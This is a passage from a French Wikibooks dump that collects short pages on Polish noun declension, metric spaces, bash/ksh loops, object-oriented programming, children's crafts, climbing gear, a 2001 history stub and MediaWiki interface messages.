<td>Komputer <td>Komputer'''y''' <tr><th>Instrumental <td>Komputer'''em''' <td>Komputer'''ami''' <tr><th>Locatif <td><font color="#0000FF">Komputerz'''e'''</font> <td>Komputer'''ach''' <tr><th colspan=3>Table (masculin inanimé) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td><font color="#FF0000">Stół</font> <td>Stoł'''y''' <tr><th>Génitif <td>Stoł'''u''' <td>Stoł'''ów''' <tr><th>Datif <td>Stoł'''owi''' <td>Stoł'''om''' <tr><th>Accusatif <td><font color="#FF0000">Stół</font> <td>Stoł'''y''' <tr><th>Instrumental <td>Stoł'''em''' <td>Stoł'''ami''' <tr><th>Locatif <td><font color="#0000FF">Stol'''e'''</font> <td>Stoł'''ach''' </table> Les changements phonétiques et les irrégularités sont : * <font color="#FF0000">Tous les "e" (ou "ie") et "o"/"ó" changent au nominatif singulier, et aussi l'accusatif s'il a la même forme qu'au nominatif.</font> * Le nominatif pluriel n'est pas très régulier. <font color="#00FF00">Pour le cas de certains noms, l'adoucissement de la consonne finale est requis.</font> Certains noms ont même deux formes nominatives plurielles correctes - une avec "owie" et une autre avec un "e" adouci. * Certains noms ont un locatif singulier en "u", d'autres en "e", et dans le dernier cas <font color="#0000FF">le groupe de consonnes finales doivent être adoucies.</font> * Certains noms ont un datif singulier en "u", d'autres en "owi". * Certains noms masculins inanimés ont un génitif singulier en "u", la plupart des autres en "a". Maintenant, quelques phrases : * Pies jest pod stołem - Le chien est sous la table (table à l'instrumental) * Chłopak nie ma psa - Le garçon n'a pas de chien (chien au génitif) * Facet daje kotu mleka - Le type donne du lait au chat (chat au datif) * Adam jest rolnikiem - Adam est un fermier (fermier à l'instrumental) Espace métrique 5969 25687 2005-11-19T18:39:38Z 81.51.91.15 La notion d' '''espace métrique''' est historiquement la première structure topologique, bien que formellement, la notion d'[[espace topologique]], plus vaste mais plus abstraite, soit traitée prioritairement dans cet exposé de topologie. La définition d'un espace métrique est proche de l'intuition, puisque les propriétés topologiques de ces espaces ne sont pas directement définis à partir d'un ensemble d'ouverts, appelé topologique, mais à partir d'une application nommée distance, ou métrique, qui permet de donner un rôle plus important à l'intuition géométrique. == Définitions == Soit <math>X</math> un ensemble. Une application <math>d : X \times X \to \mathbb{R}_+</math> est appelée distance sur <math>X</math>, ou métrique sur <math>X</math> si les points suivants sont vérifiés : * <math>\forall (x,y) \in X^2, d(x,y) = 0 \Leftrightarrow x = y</math> (Axiome de séparation) * <math>\forall (x,y) \in X^2, d(x,y) = d(y,x)</math> (symétrie de <math>d</math>) * <math>\forall (x,y,z) \in X^3, d(x,z) \leq d(x,y) + d(y,z) </math> (Inégalité triangulaire) Le couple <math>(X,d)</math> est appelé espace métrique (''i.e'' l'ensemble <math>X</math> muni de sa métrique). [[en:metric spaces]] Image:Photoshop – Histogramme.png 5972 25759 2005-11-20T14:56:04Z Inisheer 631 {{screenshot}} {{screenshot}} Programmation bash-ksh Boucles 5973 26334 2005-12-01T13:23:35Z Guillaumito 46 /* Boucle <code>while</code> */ ajout until == Boucle <code>for</code> == === Première syntaxe === La boucle <code>for</code> permet de parcourir une liste de valeurs, elle effectue donc un nombre de tours de boucle qui est connu à l'avance. <pre> for variable in liste_valeurs do instruction(s) done </pre> Par exemple, on peut utiliser la boucle <code>for</code> pour implanter un clone de la fonction <code>ls</code> : <pre> for i in * do echo $i done </pre> Dans cet exemple, l'étoile va être remplacée par tous les fichiers du répertoire courant, la boucle <code>for</code> va donc donner successivement comme valeur à la variable <code>i</code> tous ces noms de fichier. Le corps de la boucle affichant la valeur de la variable <code>i</code>, le nom de tous les fichiers du répertoire courant seront affichés successivement. Il est souvent utile de pouvoir effectuer une boucle sur une liste de valeurs, pour cela on utilise la fonction <code>seq</code>. Cette fonction prend en arguments deux entiers et renvoie la liste de tous les entiers compris entre ces bornes. <pre> $ seq 1 4 1 2 3 4 </pre> Utilisée conjointement avec la boucle <code>for</code>, la commande <code>seq</code> permet donc d'avoir un compteur de boucle : <pre> $ for i in `seq 1 4`; do echo "tour de boucle $i"; done tour de boucle 1 tour de boucle 2 tour de boucle 3 tour de boucle 4 </pre> === Seconde syntaxe === La boucle <code>for</code> possède une deuxième syntaxe : <pre> for ((e1;e2;e3)) do instruction(s) done </pre> Dans laquelle, <code>e1</code>, <code>e2</code> et <code>e3</code> sont des expressions aithmétiques. Une telle boucle commence par exécuter l'expression <code>e1</code>, puis tant que l'expression <code>e2</code> est différente de zéro le bloc d'instructions est exécuté et l'expression <code>e3</code> évaluée. <pre> for ((i=0 ; 10 - $i ; i++)) do echo $i done </pre> == Boucles <code>until</code> et <code>while</code> == La boucle <code>while</code> exécute un bloc d'instructions tant qu'une certaine condition est satisfaite, lorsque cette condition devient fausse la boucle se termine. Cette boucle permet donc de faire un nombre indeterminé de tours de boucle, voir même inifini si la condition ne devient jamais fausse. <pre> while condition do instruction(s) done </pre> <pre> #! /bin/ksh a_trouver=$(($RANDOM % 100)) echo "entrez un nombre compris entre 0 et 100" read i while [ $i -ne $a_trouver ]; do if [ $i -lt $a_trouver ]; then echo "trop petit, entrez un nombre compris entre 0 et 100" else echo "trop grand, entrez un nombre compris entre 0 et 100" fi read i done echo "bravo, le nombre etait en effet $a_trouver" </pre> La syntaxe de la boucle <code>until</code> est exactement la même que celle de la boucle <code>while</code>, mais sa signification est inversée : la boucle est exécutée tant que la condition est fausse. MediaWiki:Newuserlogpage 5975 25778 2005-11-20T22:12:13Z Guillaumito 46 Historique des créations de comptes Modèle:Enseignement anglais 5976 25781 2005-11-20T22:42:32Z Guillaumito 46 changé d'avis sur la position ''Retour à [[Enseignement de l'anglais]]'' ---- Modèle:Programmation bash-ksh 5977 26476 2005-12-04T13:54:32Z Guillaumito 46 réorganisation {| style="float:right; width:150px; margin-left:5px;" cellspacing="0" class="noprint" | style="background:{{{2}}}; text-align:center;" | [[Programmation]] [[Programmation {{{1}}}|{{{1}}}]] |- | style="background:{{{3}}};" | * [[Programmation {{{1}}} Bases|Bases du langage]] * [[Programmation {{{1}}} Enchaînements|Enchaînements et scripts]] * [[Programmation {{{1}}} Commandes|Commandes de base]] * [[Programmation {{{1}}} Calculs|Calculs]] * [[Programmation {{{1}}} Entrées/Sorties|Entrées/Sorties]] * [[Programmation {{{1}}} Redirections|Flux et redirections]] * [[Programmation {{{1}}} Tests|Tests]] * [[Programmation {{{1}}} Boucles|Boucles]] |- | style="background:{{{2}}}; font-size:x-small; text-align:right;" | [{{SERVER}}{{localurl:Modèle:Programmation bash-ksh|action=edit}} Modifier le modèle] |} Modèle:Programmation bash 5978 25790 2005-11-20T23:20:39Z Guillaumito 46 {{Programmation bash-ksh|bash|#FF40A0|#FF80E0}} Programmation bash Introduction 5979 25792 2005-11-20T23:22:23Z Guillaumito 46 [[Programmation bash Introduction]] déplacé vers [[Programmation bash]] #REDIRECT [[Programmation bash]] Programmation ksh Bases 5980 25798 2005-11-20T23:32:37Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Bases}} Programmation bash Bases 5981 25799 2005-11-20T23:33:13Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Bases}} Programmation ksh Commandes 5982 25803 2005-11-20T23:36:10Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Commandes}} Programmation ksh Redirections 5983 25807 2005-11-20T23:37:45Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Redirections}} Programmation ksh Enchaînements 5984 25811 2005-11-20T23:39:17Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Enchaînements}} Programmation ksh Tests 5986 25819 2005-11-20T23:44:45Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Tests}} Programmation ksh Boucles 5987 25823 2005-11-20T23:46:00Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Boucles}} Programmation bash Commandes 5988 25824 2005-11-20T23:46:43Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Commandes}} Programmation bash Redirections 5990 25826 2005-11-20T23:50:01Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Redirections}} Programmation bash Enchaînements 5993 25829 2005-11-20T23:54:01Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Enchaînements}} Programmation bash Tests 5995 25831 2005-11-20T23:55:02Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Tests}} Programmation bash Boucles 5996 25832 2005-11-20T23:55:25Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Boucles}} Programmation Java Sujets connexes 5997 33831 2006-02-21T15:48:27Z Merrheim 1032 {{Programmation Java}} public class helloword { public static void main(String args[]) { System.out.println("Hello world!!"); }} Activités pour enfants 6003 29843 2006-01-22T14:37:14Z Sand 850 autocor {{EnTravaux}} Ce manuel a pour ambition de regrouper des activités pour enfants. Ces activités, bien que faciles, requièrent la surveillance d'un adulte pour guider ou pour aider l'enfant. Certains éléments sont à prendre en compte quand on décide de faire du bricolage avec des enfants. * Penser systématiquement dans une optique de ''bricolage à venir'' en conservant un ''fond'' de divers objets : bouchons en liège, bouchons en plastique, serviettes en papier, vieux journaux, assiettes en carton, petites brindilles, feuilles mortes, marrons, lichens, coquillages, cailloux, autocollants, paillettes, etc. * Avoir en permanence des objets élémentaires comme de la colle tout-type de matériaux, de la colle à papier-peint, diverses peintures acryliques, des ciseaux, du scotch, une agrafeuse, des attache-parisiennes, des trombones, etc. ---- [[Image:Cocinellemarron.jpg|thumb|Coccinelles en marrons]] *'''Grands classiques''' **[[Activités pour enfants / Pâte à sel|Pâte à sel]] **[[Activités pour enfants / Papier mâché|Papier mâché]] **[[Activités pour enfants / Scoubidou|Scoubidou]]s **[[Activités pour enfants / Pâte à modeler|Pâte à modeler]] *'''Activités avec des éléments naturels''' ** [[Activités pour enfants / Animaux en cailloux|Animaux en cailloux]] ** [[Activités pour enfants / Animaux en marrons|Animaux en marrons]] *'''Activités en rapport avec le calendrier''' **''Activités en rapport avec Pâques'' **''Activités en rapport avec la fête des pères'' **''Activités en rapport avec Halloween'' *** [[Activités pour enfants / Tête de monstres|Tête de monstres]] **''Activités en rapport avec Noël'' *** [[Activités pour enfants / Guirlande|Guirlande]]s *** [[Activités pour enfants / Père Noël|Père Noël]] *** [[Activités pour enfants / Photophore|Photophore]]s *** [[Activités pour enfants / Sapin de noël|Sapin de noël]] *'''Chimie amusante''' **[[Activités pour enfants / Mini volcan|Mini volcan]]s **[[Activités pour enfants / Slime|Slime]] Activités pour enfants / Guirlande 6004 26571 2005-12-07T14:09:22Z Sand 850 [[Guirlande]] déplacé vers [[Activités pour enfants / Guirlande]] ==Guirlande ronde en papier== Pour fabriquer une guirlande ronde en papier, il faut : * une feuille de papier coloré ; * une paire de ciseaux ; * une agrafeuse ou de la colle. ---- [[Image:Guirlandpapier.jpg|thumb|résultat]] D'abord découper la feuille de papier coloré en petites bandes de un à trois centimètres de largeur et d'au moins dix centimètres de longueur. Puis former un anneau avec une première bande de papier et le fixer avec le moyen choisi (colle ou agrafe). Prendre une seconde bande et former un anneau accroché au premier anneau. Renouveller l'opération jusqu'à ne plus avoir de petites bandes de papier, en accrochant toujours l'anneau en cours avec le dernier anneau fait. ==Guirlande en papier plié== ==Guirlande en perles== [[Image:Guirlandperle.JPG|thumb|résultat]] Pour fabriquer une guirlande en perles, il faut : * du fil de fer fin ; * des perles. ---- Couper un morceau de fil de fer à la taille voulu, passer une perle dans le fil de fer et entortiller le fil de fer sur la perle afin de la maintenir en place. Répéter l'opération sur toute la longueur du fil de fer avec plus ou moins de distance entre les perles selon les goûts. ---- Cet article fait partie du livre [[Activités pour enfants]]. Activités pour enfants / Animaux en marrons 6005 26567 2005-12-07T14:08:33Z Sand 850 [[Animaux en marrons]] déplacé vers [[Activités pour enfants / Animaux en marrons]] ==Coccinelle en marron== Pour fabriquer une coccinelle en marron, il faut : * un marron ; * de la peinture acrylique rouge et noir ; * un cure-pipe ou un fil de fer ; * de la colle pour tout-type de matériaux. ---- [[Image:Cocinellemarron.jpg|thumb|résultat]] Pour un meilleur résultat, il est conseillé de choisir des marrons plutôt plats. D'abord, peindre en rouge le marron et attendre que la peinture sèche. Puis peindre des tâches noires sur le marron et attendre que la peinture sèche. Prendre le cure-pipe ou le fil de fer, le couper à une taille d'environ 2 centimètres et le plier en son milieu. Coller le cure-pipe ou le fil de fer avec la colle, la pointe du milieu placé sur un côté du marron. ---- Cet article fait partie du livre [[Activités pour enfants]]. Histoire de l'Europe:Chapitre 18 6007 37829 2006-03-15T21:14:17Z 83.134.242.178 /* 2001, année de changement brutal */ 10 ans -ou presque-après la chute du communisme, quels ont été les résultats pour l'europe? Les différences géo-politiques, l'économie? Les rêves libéraux ont-ils répondu aux devoirs et aux appels des peuples anciennement communistes? 10 ans de changements. ==1990 2000, de la chute à l'éveil des peuples?== ==2000 à nos jours== ===2001, année de changement brutal=== [[Image:WTC attack 9-11.jpg|thumbs|right|150px]] En cette année 2001, rien ne laissait croire en un changement brutal après le passage joyeux à l'an 2000. Un baby-boom dont on ne verrait les conséquences que dans les années 2020 quand les nouveaux-nés seraient au niveau des études et sur le marché de l'emploi. Du point de vue international, George W. Bush succède à Bill Clinton à la présidence des USA. Ariel Sharon devient premier ministre israélien, ce qui laisse présager des morts du côté palestinien et une stagnation des négociations pour le processus de paix. Jun’ichirō Koizumi devient premier ministre japonais, amorçant ainsi une politique libérale tournée vers l'Amérique. Le 9 septembre, le commandant Massoud est assassiné par des terroristes dans les montagnes afghanes. Puis vint le 11 septembre 2001. Bien que s'étant produit sur le territoire américain, cet incident a des répercussions internationales. Il arrive 12 ans après la chute du mur de Berlin, soit 10 ans après la chute de l'URSS. Cet attentat revendiqué par l'organisation islamique Al-Qaeda et son chef Oussama-Ben-Laden entraîne des conséquences majeures. Il pose la question de la place de l'Europe dans le Monde, l'Europe politique, économique et militaire. Il en va de même pour l'ONU qui dans les années suivantes verra son rôle remis (ou non) en question. ===Invasion de l'Afghanistan, puis de l'Irak=== Question de l'ONU? Activités pour enfants / Tête de monstres 6008 26569 2005-12-07T14:09:00Z Sand 850 [[Tête de monstres]] déplacé vers [[Activités pour enfants / Tête de monstres]] [[Image:Gabaritmonstre.png|thumb|gabarit]] Pour fabriquer une tête de monstres, il faut : * un morceau de carton ; * de la peinture acrylique noire et éventuellement d'autres couleurs ; * une paire de ciseaux ; * de la colle tout-type de matériaux ; * des matériaux de récupération (bouchon de bouteille, bouchon en liège, rouleau de papier-toilette etc.) ; * des matériaux naturelles (lichen, mousse, sables, cristaux, etc.) ; * des accessoires de bricolage (faux-oeils, paillettes, pâte à modeler durcissante, perle, etc.); * ficelle. ---- [[Image:Têtesmonstres.jpg|thumb|résultat]] D'abord prendre le gabarit du monstre, le reproduire sur le morceau de carton et le découper. Puis faire les yeux avec par exemple des faux-oeils de bricolage, des gobelets en plastique retournés ou un rouleau de papier toilette coupé en deux dans lequel on aura fait pendre une perle pour simuler la pupille. Faire un nez avec par exemple une boule de pâte à modeler durcissante ou un bouchon de liège. Faire la bouche en la dessinant en relief avec de la pâte à modeler durcissante ou des morceaux de polystyrène. Faire les dents avec par exemple des petites cuillères en plastique (souvent données avec les glaces en petits pots) ou avec des spatules en bois de glace type esquimau. Peindre le tout en noir et attendre que ça soit sec. Finir le monstre en collant de la barbe et/ou des cheveux (avec par exemple du lichen, du sable, de la mousse), faire les dents avec des paillettes, peindre le nez ou la bouche. Pratiquer un trou en haut de la tête de monstre pour y passer une ficelle et l'accrocher. ---- Cet article fait partie du livre [[Activités pour enfants]]. Activités pour enfants / Sapin de noël 6009 27054 2005-12-19T10:10:34Z Greudin 1 deplac img [[Image:Sapinnoël.jpg|thumb|Résultat]] Pour fabriquer un sapin de noël, il faut : * un morceau de carton ; * de la peinture acrylique verte ; * une paire de ciseaux ; * de la colle tout-type de matériaux ; * des matériaux de récupération (papier brillant, serpentins, confettis, etc.) ; * des accessoires de bricolage (autocollants, gommettes, paillettes, etc.). <gallery> Image:Gabaritsapin.png|Gabarit. Image:Gabaritsapin01.png|Gabarit. Image:Gabaritsapin02.png|Gabarit. </gallery> ---- D'abord prendre le gabarit du sapin de noël, le reproduire sur le morceau de carton, le découper, le peindre en vert et attendre que ça sèche. Finir le sapin de noël en le décorant à son goût en fonction des éléments disponibles. ---- Cet article fait partie du livre [[Activités pour enfants]]. Radioamateurisme 6010 25904 2005-11-23T19:53:57Z Greudin 1 +alphabet Le '''[[w:Radioamateur|radioamateurisme]]''' est un loisir scientifique partagé par plusieurs millions de personne de part le monde. <gallery> Image:Amateurfunkstation.jpg|Le ''shack'' ou station d'un opérateur Image:Amateurfunkantennen.jpg|Une antenne ''rateau'' ou type 'yagi' </gallery> Ce livre a pour ambition de préparer le lecteur à l'examen radioamateur. Les disciplines abordées sont l'électricité, l'électronique ainsi que la règlementation. *L'[[w:alphabet radio|alphabet radio]] *Le [[w:code_Q|code_Q]] [[en:Amateur Radio - The Manual]] Catégorie:Maintenance 6015 25979 2005-11-24T17:32:00Z Marc 66 [[Catégorie:Wikilivres]] Catégorie:Wikilivres 6016 25981 2005-11-24T17:32:55Z Marc 66 [[Catégorie:Principale|*]] Catégorie:Art 6017 33527 2006-02-19T18:35:09Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Art}} [[Catégorie:Principale]] [[de:Kategorie:Kunst]] [[en:Category:Art]] [[simple:Category:Art]] Catégorie:Principale 6018 40591 2006-04-20T14:48:18Z Pseudomoi 395 {{Sisterlinks|Category:CommonsRoot}} {{Sisterlinks|Category:CommonsRoot}} Catégorie:Science 6019 33521 2006-02-19T18:17:09Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Science}} [[Catégorie:Principale]] [[en:Category:Science]] [[es:Categoría:Ciencias]] [[it:Categoria:Scienze]] [[nl:Categorie:Exacte wetenschap]] [[simple:Category:Science]] [[vi:Category:Khoa học]] Catégorie:Musique 6020 33526 2006-02-19T18:31:57Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Music}} [[Catégorie:Art]] [[en:Category:Music]] Catégorie:Logique mathématique 6021 26014 2005-11-24T17:47:55Z Marc 66 [[Catégorie:Science]] Catégorie:Méthode des éléments finis 6022 26018 2005-11-24T17:47:59Z Marc 66 [[Catégorie:Physique]] Catégorie:Biologie 6023 33524 2006-02-19T18:21:09Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Biology}} [[Catégorie:Science]] [[de:Kategorie:Biologie]] [[en:Category:Biology]] [[nl:Categorie:Biologie]] [[pl:Kategoria:Biologia]] [[pt:Categoria:Biologia]] [[simple:Category:Biology]] [[vi:Category:Sinh học]] Catégorie:Zoologie 6024 33525 2006-02-19T18:25:21Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Zoology}} [[Catégorie:Science]] Catégorie:Astronomie 6025 33530 2006-02-19T18:53:34Z 62.194.241.152 interwiki {{sisterlinks|Category:Astronomy}} [[Catégorie:Science]] [[de:Kategorie:Astronomie]] Escalade Matériel 6027 32002 2006-02-07T18:38:29Z 213.160.35.104 '''Le matériel dépend du terrain, mais dans tous les cas il faut des chaussons d'escalade.''' '''Pour le bloc''', on peut utiliser un tapis pour amortir les chutes : le crash-pad '''Pour la falaise''', le grimpeur porte un baudrier (ou harnais) autour de la taille, sur lequel il attache sa corde. Pendant sa progression, il place sur les pitons (aussi appelés "clous") déjà en place des sangles avec des mousquetons (la sangle accompagnée de ses deux mousquetons est aussi appelée "dégaine") dans lesquelles il place la corde qui le retiendra en cas de chute. Le grimpeur ne se sert jamais de sa corde pour s'aider dans sa progression. '''Pour l'escalade en montagne (alpinisme)''' , il faut le même matériel que pour la falaise. En plus, il faut des coinceurs : Ce sont des outls mettaliques qui se placent dans les failles de la roche et qui remplacent les pitons. L'alpiniste peut ainsi placer ses protections quand il le veut. Nietzsche - Physiologie de l'art 6032 26084 2005-11-26T14:24:28Z 83.195.234.24 l'oeuvre d'art échappe-t-elle à l'artiste après sa création ? Salsa 6034 30675 2006-01-28T17:18:48Z 62.34.222.34 ==Introduction== ==Les genres de la salsa== ====[[le style cubaine ou style "Rueda de Casino"]] [[Image:00%.png]]==== ====[[le style portoricain]] [[Image:00%.png]]==== ====[[le style los angeles]] [[Image:00%.png]]==== ====[[le style new-yorkais]] [[Image:00%.png]]==== ====[[Salsa Romantica]] [[Image:00%.png]]==== ==Les Bases de la Salsa== ====[[Le rythme ou la "clave"]] [[Image:00%.png]]==== ====[[Le pas de base]] [[Image:00%.png]]==== ====[[Les 4 pas de base]] [[Image:00%.png]]==== ==Les figures de la Salsa== ====[[figures de bases]] [[Image:00%.png]]==== ====[[figures intermédiaires]] [[Image:00%.png]]==== ====[[figures avancées]] [[Image:00%.png]]==== ==La Rueda== [[en:Salsa]] Faire son film-Windows 6036 41837 2006-05-09T20:11:25Z Jona 1501 *Montage : :; Adobre première pro: Permet d'acquérir, de faire le montage, coupage, transition, titre, sous titre et insérer la bande son, faire des chapitre pour le DVD. *Audio : :; Sound Forge: Permet de retoucher sa bande son, ou de l'allier avec une musique de fond, faire des transitions et quelques effets. (Assez limité pour les effets) *Post-Production : :; Adobe after effect: Permet de faire les retouches finales, sur les couleurs par exemple, ou encore faire les effets spéciaux, ou tout simplement les titres de fin. :;Adobre encore DVD: Permet de graver son DVD; faire un menu, et synchroniser avec les chapitres que fais Premiere Pro. Faire son film-Mac 6037 41839 2006-05-09T20:14:36Z Jona 1501 ;Final cut pro HD: L'équivalent de Premiere pro, sur Mac, en beaucoup plus evolué, mais déjà moins accessible à un utilisateur non averti. Permet de faire, montage, coupage, transition, effet speciaux, titre, bande son. ;I-motion: L'équivalent de After Effect. Utilisé par multitude de professionel, par exemple la pub de la citroen C4, qui se transforme en robot et danse, à etait réalisé avec ce logicielle. Demande une formation pour l'exploiter, permet de faire des effets speciaux et retouche. ;Garange Band: Faite votre bande originale vous même, rock ou orchestre symphonique vous choississez... Connaissance du solfege indispensable. ;Audacity: L'équivalent de sound forge, il offre les memes fonctions, retouche son, allier plusieurs pistes, et quelques effets. ;I-DVD: Finalisez votre projet, en mettant un menu, et votre film sur support DVD. Activités pour enfants / Animaux en cailloux 6038 26565 2005-12-07T14:07:15Z Sand 850 [[Animaux en cailloux]] déplacé vers [[Activités pour enfants / Animaux en cailloux]] Pour fabriquer des animaux en cailloux, il faut : * de nombreux cailloux de tailles et de formes variées ; * du papier ; * de la peinture acrylique ; * de la colle tout type de matériaux. ==Serpent en cailloux== Pour un meilleur résultat, il est conseillé de prendre des petits cailloux ronds de taille équivalente. Prendre une feuille de papier et y apposer un ''chemin de colle'' serpentant. Déposer les cailloux un par un sur le ''chemin de colle''. Attendre que la colle sèche puis peindre à son goût sans oublier la langue typique en ''V'' du serpent. Attendre que la colle sèche et découper la feuille autour du serpent en cailloux. ==Papillon en cailloux== [[Image:Animauxcailloux.jpg|thumb|résultat]] Pour un meilleur résultat, il est conseillé de choisir un caillou en longueur et deux paires de cailloux ressemblant et plutôt ronds. Coller de façon symétrique les deux paires de cailloux sur le caillou long pour former les deux paires d'ailes. Attendre que la sèche et peindre selon son goût. ==Tortue en cailloux== Pour un meilleur résultat, il est conseillé de choisir un gros caillou rond et plat et quatre petits cailloux plutôt ronds. Coller de façon symétrique les quatre petits cailloux sur le gros caillou pour former les pattes. Attendre que la sèche et peindre selon son goût. ---- Cet article fait partie du livre [[Activités pour enfants]]. Activités pour enfants / Photophore 6040 26573 2005-12-07T14:09:43Z Sand 850 [[Photophore]] déplacé vers [[Activités pour enfants / Photophore]] [[Image:Photophores.jpg|thumb|résultat]] Pour fabriquer un photophore, il faut : * un récipient de récuprération en verre (pot de confiture, pot à déssert, petit pot) ; * du papier coloré et pas opaque ; * de la colle à papier peint ; * des accessoires de bricolage (autocollants, gommettes, paillettes, morceau de guirlande, etc.). ---- Déchirer le papier coloré en petits morceaux et les coller sur le récipient en verre avec la colle à papier peint. Terminer en décorant le photophore selon le goût. ---- Cet article fait partie du livre [[Activités pour enfants]]. Programmation Programmation orientée objet Héritage 6042 26156 2005-11-28T07:33:07Z 199.181.136.59 Les classes peuvent être définies et utilisées de manière autonome, chaque classe constituant un ensemble homogène indépendant de toute autre classe. Cependant, il peut être très utile qu’une classe soit construite à partir d'une autre classe, en conservant les propriétés de la classe d'origine et en en acquérant de nouvelles. Ce processus est possible et s'appelle héritage ou dérivation. Il conduit a la notion de hiérarchie de classe. L'héritage (ou dérivation) est un mécanisme qui permet de construire des classes a partir d'autres classes, en définissant une nouvelle classe, appelée classe dérive, comme une extension d'une classe existante, appelée classe de base. La dérivation permet a une classe dérive d'hériter des propriétés, c'est-à-dire des données et fonctions membres, d'une classe de base. Ainsi, il est possible de compléter des classes, en rajoutant données ou des fonctions membres, et/ou de les personnaliser, en redéfinissant des données ou des fonctions membres. Quand une classe dérivée hérite d'une classe de base, les données et les fonctions membres de cette classe de base sont incorporées aux données et fonctions membres de la classe dérivée. Les classes de base qui apparaissent dans la déclaration des classes dérivées doivent être définies préalablement. Les classes de base sont souvent aussi appelées classes ancêtres. De même, les classes dérivées sont aussi appelées classes filles. Grâce à l'héritage, il est possible de définir des lignes d'objets, c'est-à-dire des successions de classes qui héritent les unes des autres. Programmation Programmation orientée objet Polymorphisme 6043 26157 2005-11-28T07:41:25Z 199.181.136.59 Le mot polymorphie vient du grec et signifie "qui peut prendre plusieurs formes". Dans la programmation orienté objet le polymorphisme est utilisé en relation avec les fonctions, les méthodes et les opérateurs. Des fonctions et des méthodes de mêmes noms peuvent avoir des comportements différents ou effectuer des opérations sur des données de types différents. L’on distingues 2 types de polymorphisme, la surcharge et la redéfinition == La surcharge == La surcharge permet d’adapter le comportement d’une fonction ou d’une méthode en fonction des paramètres qu’elle reçoit. L’avantage pour le programmeur est qu’il n’a plus besoin de définir plusieurs fonctions ayant des noms différents pour effectuer une même opération sur des variables de types différents. C’est le compilateur qui s’occupe d’appeler la bonne version de la fonction ou méthode en fonction des paramètres avec lesquelles elle est appelée. Il est possible de définir plusieurs fonctions ou méthodes de même nom, pour autant que le '''type ou le nombre de paramètres soit différent''' pour chaque fonction ou méthode. == La redéfinition == La notion de polymorphie est très liée à celle d’héritage. Grâce à la redéfinition il est possible de redéfinir une méthode dans des classes héritant d’une classe de base. Par ce mécanisme une classe qui hérite des méthodes d’une classe de base peut modifier le comportement de certaines méthodes héritées pour être adaptées aux besoins de la classe fille. Contrairement à la surcharge, une méthode redéfinie doit non seulement avoir le même nom que la méthode de base, mais '''le type et le nombre de paramètres doivent être identiques''' à ceux de la méthode de base. Programmation Programmation orientée objet Encapsulation 6044 26158 2005-11-28T07:51:28Z 199.181.136.59 == Abstraction des données == L'abstraction des données (information hiding) est un des concepts fondamentaux de la POO [Programmation orientée Objets]. En programmation structurée les données qui ont un lien logique sont regroupées en structure, les enregistrements. De la même manière, les instructions qui ont un lien logique sont rassemblées dans des sous-programmes. Ainsi, les données et le code sont structurés, et on atteint un certain niveau d'abstraction puisqu'un seul identificateur regroupe plusieurs champs d'un enregistrement ou plusieurs instructions d'un sous-programme. L'exécution d'un programme consiste alors a utiliser des sous-programmes pour initialiser, et/ou modifier, et/ou afficher des données. Ces sous-programmes doivent donc connaître la structure des données qu'ils utilisent. Pour cela, il faut détenir les structures des données avant celles des sous-programmes, et déclarer ces données a travers les interfaces des sous-programmes (paramètres ). On fait donc coexister de manière autonome des éléments qui ont un lien logique. Grâce a l'encapsulation, la POO propose de relier données et code structures dans des structures nouvelles qui permettent d'utiliser des sous-programmes sans connaître la structure des données qu'ils manipulent. == Encapsulation == Pour permettre l'abstraction des données, les LOOs [Langage Oriente Objets ] fournissent une structure qui regroupe (ou encapsule) les données et les sous-programmes qui les utilisent. Une telle structure est appelée classe, et l'instance d'une classe (la déclaration d'une variable de type classe) est appelée objet. Les classes sont composées de données membres (que l'on peut comparer aux champs des enregistrements de la programmation structurée) et de fonctions membres, qui définissent les opérations a réaliser sur les données membres. Les programmes qui manipulent des objets ne connaissent pas les identificateurs des données membres de ces objets. Les échanges de données entre le programme et les objets se font au moyen d'une interface clairement définie (les fonctions membres) et donc indépendante des données membres. Aussi longtemps que cette interface ne change pas, les données-membres et le code des fonctions membres de l'objet peuvent changer sans nécessiter la modification du programme qui utilise l'objet. Cela permet une modularité plus grande et une indépendance vis-à-vis du choix de la représentation interne des données. MediaWiki:Exif-exposuretime-format 6048 sysop 26179 2005-11-29T00:47:47Z MediaWiki default $1 sec ($2) MediaWiki:Exif-fnumber-format 6049 sysop 26180 2005-11-29T00:47:47Z MediaWiki default f/$1 MediaWiki:Exif-focallength-format 6050 sysop 26181 2005-11-29T00:47:47Z MediaWiki default $1 mm MediaWiki:Metadata-collapse 6051 sysop 46862 2006-07-01T18:48:49Z MediaWiki default Cacher les détails MediaWiki:Metadata-expand 6052 sysop 46863 2006-07-01T18:48:49Z MediaWiki default Montrer les détails MediaWiki:Metadata-fields 6053 sysop 46864 2006-07-01T18:48:49Z MediaWiki default Les champs de métadonnées d'EXIF listés dans ce message seront inclus dans la page de description de l'image quand la table de métadonnées sera réduite. Les autres champs seront cachés par défaut * constructeur * modèle * Date et heure * temps d'exposition * Nombre F * longueur de la focale MediaWiki:Metadata-help 6054 sysop 46865 2006-07-01T18:48:49Z MediaWiki default Ce fichier contient des informations additionnelles, certainement ajoutée par l'appareil photographique ou le numériseur utilisé pour le créer ou le digitaliser. Si l'état du fichier a été altéré, certains détails peuvent ne pas refléter totalement l'image modifiée. Cuisine:Bouquet garni 6058 40011 2006-04-12T08:06:12Z 213.223.180.64 Un bouquet 